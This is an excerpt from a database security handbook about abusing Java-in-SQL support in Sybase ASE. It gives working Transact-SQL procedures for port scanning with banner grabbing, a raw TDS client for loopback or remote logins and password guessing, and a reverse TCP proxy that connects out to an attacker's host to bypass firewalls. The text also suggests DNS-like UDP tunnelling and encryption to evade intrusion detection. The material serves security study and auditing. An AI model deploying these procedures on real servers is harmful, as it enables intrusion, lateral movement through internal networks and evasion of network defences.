Java in SQL

We discussed Sybase Java support briefly in Chapter 13 but we should also address it here because it is one of the most security-sensitive features of Sybase. With recent versions of Sybase ASE, you can freely mix Transact-SQL and Java statements, calling Java class member functions as though they were user -defined SQL functions, declaring Java data types as though they were native to Transact-SQL, and even instantiating Java objects via parameterized constructors in a very natural way. This obviously has implications in terms of security because it significantly increases the functionality available to an attacker or a low-privileged Sybase user. There are a few things that you can't do, however, that are a little restrictive ”there is no support for output param-eters other than the single value returned by the Java function, and if an unhandled Java exception is raised, execution will stop at that point in a query batch. That said, these restrictions could be worked around fairly easily.

Chapter 13 briefly discussed a code snippet to portscan a remote host using Java classes from within Transact-SQL:

 declare @s java.net.Socket select @s = new java.net.Socket( "192.168.1.1", 22 ) select @s>>"close"() 

This is a neat little example because it demonstrates most of what you need to understand in order to write your own Java snippets in Transact-SQL: declaration of a Java type, instantiation via a parameterized constructor, and the fact that if a Java function name is the same as a Transact-SQL reserved word, you need to enclose it in quotes.

Several advantages exist from the attacker's perspective to invoking Java in this way. First, the code isn't stored in a persistent form in the database (although the query may be logged). This means that it's generally harder to follow what the attacker did. Second, there's no need for any development tools other than the target server. If the statements are being inserted via SQL injection, this can all be done ad-hoc using only a web browser. If error messages are available to the attacker, ASE will return useful hints on syntax if the attacker gets it wrong. Finally (and this is an advantage of Java in SQL in general), once the administrator configures it, Java support is available to all users regardless of privilege level. It is quite simply the easiest way to explore both the Sybase server itself (by means of loopback connections) and the network in general that is available to an attacker via SQL injection in a low-privileged account.

The first example is a more elaborate version of the port scanner we looked at previously. This one grabs a banner if a banner is present:

 create procedure portscan( @host varchar(1000), @port integer ) as begin       declare @s java.net.Socket       declare @is java.io.InputStream       declare @banner varchar(2000)       select @s = new java.net.Socket( @host, @port )       select @is = @s>>getInputStream()       select java.lang.Thread.currentThread()>>sleep( 1000 )       while( @is>>available() > 0 )       begin             select @banner = @banner + char(@is>>"read"())       end       select @s>>"close"()       select @banner       print 'end' end 

A few points of note in this example: First, we are creating a stored procedure to wrap the process of scanning a single port; this is simply good practice. In general, low-privileged accounts cannot create procedures; however, the sample databases pubs2 and pubs3 permit guest-level users to create procedures if the sample databases have been installed. There is no real need to wrap the Java statements in a stored procedure; if the attacker doesn't have privileges to create a procedure, a simple batch of SQL statements would do just as well.

Another interesting point to note is that we are retrieving the banner 1 byte at a time. This is because of the lack of support for output parameters; the only way we can get output from a Java method is via its return value.

More complex network clients are possible, even (interestingly) a TDS client that enables you to issue arbitrary Sybase queries within the Database server's own network. Following are two examples of more complex (and dangerous) scripts ”first, a simple TDS client and second, a TCP proxy.

JSQL TDS Client

The following JSQL performs a native mode authentication to the Sybase server on the specified host and TCP port. It then issues the specified query and returns the result as a single text string.

This is useful in security terms for a number of reasons. The first is the ability to perform a loopback connection. When attacking database servers you frequently find yourself in a situation whereby you can issue arbitrary queries, but only with the privilege level of an unprivileged user. This is generally the case in SQL Injection, for example, if the database server has been locked down correctly. In this situation, it is useful to be able to elevate privileges by guessing a valid username and password on the local server that has higher privileges. In practice, we have frequently run across locked-down MS SQL Server Sybase and servers with weak sa passwords.

Another use for this script is to enable you to connect to other Sybase servers in the same network (presumably a DMZ). In our audits , we often find test servers in the same part of the network that are not as well protected as the first server we came into contact with. Bouncing around servers in this way can enable you to island-hop between different filtered areas of the network.

This script was created using the documentation for the FreeTDS project, www.freetds.org .

(Apologies for the VARBINARY strings and lack of comments.)

 create procedure RemoteQuery( @host varchar(1000),              @port integer,              @user varchar(30),              @password varchar(30),              @query varchar(8000) ) as begin declare @s java.net.Socket       declare @is java.io.InputStream       declare @os java.io.OutputStream       declare @banner varchar(2000)       declare @p varbinary(2048)       declare @i integer       set @s = new java.net.Socket( @host, @port )       set @is = @s>>getInputStream()       set @os = @s>>getOutputStream()       set @p = 0x0200020000000000       set @p = @p + 'XXXXXXX' + 0x000000       set @p = @p + 0x0000000000000000000000000000000000000000       set @p = @p + 0x07       set @p = @p + @user + replicate(0x00, 30-len(@user))       set @p = @p + convert(varbinary(1), len(@user))       set @p = @p + @password + replicate(0x00, 30-len(@password))       set @p = @p + convert(varbinary(1), len(@password))       set @p = @p + 0x3131353200000000000000000000000000000000       set @p = @p + 0x00000000000000000000040301060a0901       set @p = @p + 0x01000000000000000000 + "SQL_Advantage"       set @p = @p + 0x0000000000000000000000000000000000       set @p = @p + 0x0d + "XXXXXXX" + 0x000000       set @p = @p + 0x0000000000000000000000000000000000000000       set @p = @p + 0x0700       set @p = @p + convert(varbinary(1), len(@password))       set @p = @p + @password + replicate(0x00, 30-len(@password))       set @p = @p + replicate( 0x00, 223 )       set @p = @p + 0x0c05000000 + "CT-Library"       set @p = @p + 0x0a05000000000d11       set @p = @p + 0x00 + "s_english"       set @p = @p + 0x0000000000000000000000000000       set @os = @os>>"write"(@p)             set @os = @os>>flush()       set @p = 0x02010063000000000000000000000000       set @p = @p + 0x0000000000000000000000000069736f       set @p = @p + 0x5f310000000000000000000000000000       set @p = @p + 0x00000000000000000000000500353132       set @p = @p + 0x0000000300000000e21800010a018608       set @p = @p + 0x336d7ffffffffe020a00000000000a68       set @p = @p + 0x000000       set @os = @os>>"write"(@p)             set @os = @os>>flush()       set @i = java.lang.Thread.currentThread()>>sleep( 1000 )       while( @is>>available() > 0 )       begin             select @banner = @banner + char(@is>>"read"())       end       if( substring(@banner, 9, 1) = 0xad ) and (substring(@banner, 12, 1) = 0x06)             return -- login failed       set @p = 0x0f01       set @p = @p + convert( varbinary(1), (len(@query)+14)/256 )             set @p = @p + convert( varbinary(1), (len(@query)+14)%256 )       set @p = @p + 0x0000000021       set @p = @p + convert( varbinary(1), (len(@query)+1)%256 )       set @p = @p + convert( varbinary(1), (len(@query)+1)/256 )       set @p = @p + 0x000000       set @p = @p + @query             set @os = @os>>"write"(@p)             set @os = @os>>flush()       set @i = java.lang.Thread.currentThread()>>sleep( 1000 )       select @banner = 0x20       while( @is>>available() > 0 )       begin             set @i = @is>>"read"()             if( @i >= 0x20 ) and ( @i <= 0x7f )                   select @banner = @banner + char(@i)       end       select @banner       set @s = @s>>"close"() end 

JSQL TCP Proxy

The following script allows Sybase to act as a TCP reverse proxy. By reverse proxy, we mean a program that establishes an outbound TCP connection to both its client and the server that it is proxying for the client.

This is a particularly effective way to bypass firewalls because most organizations will block all inbound connections but will quite happily allow outbound connections, especially on TCP ports 80, 443, and 53. Tricks like this are limited only by your imagination ; for instance, if the organization blocks all outbound TCP traffic from the Sybase server (which would be a sensible policy) you could alter this script to use the DatagramSocket class instead, and proxy a TCP connection over UDP port 53 ”with traffic that looks like DNS requests and responses. Another refinement of this script would be to use the built-in crypto classes in Java to implement some kind of basic encryption of the outbound TCP connection ”an IDS is likely to be watching traffic that passes over the boundary between the database server and the Internet, but even basic encryption may thwart it.

With this script (and another proxy on your attacking machine) you can use the proxied connection to interact with the network that the Sybase server is in. The main benefit of this is that you can use all of your rich network client tools (RPC scanners, SMB scanners , SSH clients, and so on) as though you were sitting in the target network. Another interesting point is that most firewalls don't block loopback connections; you are likely to find it easier to compromise the database host if you can proxy loopback connections to RPC or SSH daemons, for example.

 create procedure proxy( @outhost varchar(1000), @outport integer, @inhost varchar(1000), @inport integer ) as begin       declare @sout java.net.Socket       declare @sin java.net.Socket       declare @outis java.io.InputStream       declare @outos java.io.OutputStream       declare @inis java.io.InputStream       declare @inos java.io.OutputStream       declare @buffer varchar(2000)       declare @no_out integer       declare @no_in integer       declare @i integer       set @sout = new java.net.Socket( @outhost, @outport )       set @outis = @sout>>getInputStream()       set @outos = @sout>>getOutputStream()       set @sin = new java.net.Socket( @inhost, @inport )       set @inis = @sin>>getInputStream()       set @inos = @sin>>getOutputStream()       set @i = 0       while(@i < 60)       begin             if(@outis>>available() > 0)             begin                   set @buffer = char(@outis>>"read"())                   while( @outis>>available() > 0 )                   begin                         set @buffer = @buffer + char(@outis>>"read"())                   end                   set @inos = @inos>>"write"(convert(varbinary(2000), @buffer))                   set @no_out = 0                   set @i = 0             end             else                   set @no_out = 1             if(@inis>>available() > 0)             begin                   set @buffer = char(@inis>>"read"())                   while( @inis>>available() > 0 )                   begin                         set @buffer = @buffer + char(@inis>>"read"())                   end                   set @outos = @outos>>"write"(convert(varbinary(2000), @buffer))                   set @no_in = 0                   set @i = 0             end             else                   set @no_in = 1             if(( @no_in = 1 ) and ( @no_out = 1 ))             begin                   set @no_in = java.lang.Thread.currentThread()>>sleep( 1000 )                         set @i = @i + 1             end       end       set @sout = @sout>>"close"()       set @sin = @sin>>"close"() end 


Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net